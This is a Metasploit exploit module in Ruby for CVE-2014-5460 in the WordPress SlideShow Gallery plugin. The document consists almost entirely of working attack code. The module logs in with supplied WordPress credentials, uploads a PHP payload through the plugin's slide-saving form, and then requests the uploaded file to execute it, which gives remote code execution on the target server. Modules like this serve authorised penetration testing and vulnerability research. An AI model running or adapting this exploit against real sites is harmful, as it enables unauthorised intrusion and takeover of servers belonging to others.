WordPress SlideShow Gallery Authenticated File Upload

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::HTTP::Wordpress  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(  
info,  
'Name' => 'Wordpress SlideShow Gallery Authenticated File Upload',  
'Description' => %q{  
The Wordpress SlideShow Gallery plugin contains an authenticated file upload  
vulnerability. We can upload arbitrary files to the upload folder, because  
the plugin also uses it's own file upload mechanism instead of the wordpress  
api it's possible to upload any file type.  
},  
'Author' =>  
[  
'Jesus Ramirez Pichardo', # Vulnerability discovery  
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2014-5460'],  
['EDB', '34681'],  
['WPVDB', '7532']  
],  
'Privileged' => false,  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' => [['WP SlideShow Gallery 1.4.6', {}]],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Aug 28 2014'))  
  
register_options(  
[  
OptString.new('WP_USER', [true, 'A valid username', nil]),  
OptString.new('WP_PASSWORD', [true, 'Valid password for the provided username', nil])  
], self.class)  
end  
  
def user  
datastore['WP_USER']  
end  
  
def password  
datastore['WP_PASSWORD']  
end  
  
def check  
check_plugin_version_from_readme('slideshow-gallery', '1.4.7')  
end  
  
def exploit  
print_status("#{peer} - Trying to login as #{user}")  
cookie = wordpress_login(user, password)  
if cookie.nil?  
print_error("#{peer} - Unable to login as #{user}")  
return  
end  
  
print_status("#{peer} - Trying to upload payload")  
filename = "#{rand_text_alpha_lower(8)}.php"  
  
data = Rex::MIME::Message.new  
data.add_part("", nil, nil, 'form-data; name="Slide[id]"')  
data.add_part("", nil, nil, 'form-data; name="Slide[link]"')  
data.add_part("", nil, nil, 'form-data; name="Slide[image_url]"')  
data.add_part('both', nil, nil, 'form-data; name="Slide[showinfo]"')  
data.add_part('randonx', nil, nil, 'form-data; name="Slide[description]"')  
data.add_part('file', nil, nil, 'form-data; name="Slide[type]"')  
data.add_part('randonx', nil, nil, 'form-data; name="Slide[title]"')  
data.add_part('70', nil, nil, 'form-data; name="Slide[iopacity]"')  
data.add_part('N', nil, nil, 'form-data; name="Slide[uselink]"')  
data.add_part("", nil, nil, 'form-data; name="Slide[order]"')  
data.add_part('self', nil, nil, 'form-data; name="Slide[linktarget]"')  
data.add_part(payload.encoded, 'application/x-httpd-php', nil, "form-data; name=\"image_file\"; filename=\"#{filename}\"")  
post_data = data.to_s  
  
print_status("#{peer} - Uploading payload")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(wordpress_url_backend, 'admin.php'),  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'vars_get' => {  
'page' => 'slideshow-slides',  
'method' => 'save'  
},  
'data' => post_data,  
'cookie' => cookie  
})  
  
if res  
if res.code == 200  
register_files_for_cleanup(filename)  
else  
fail_with(Failure::Unknown, "#{peer} - You do not have sufficient permissions to access this page.")  
end  
else  
fail_with(Failure::Unknown, 'Server did not respond in an expected way')  
end  
  
print_status("#{peer} - Calling uploaded file #{filename}")  
send_request_cgi(  
'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', 'slideshow-gallery', filename)  
)  
end  
end  
`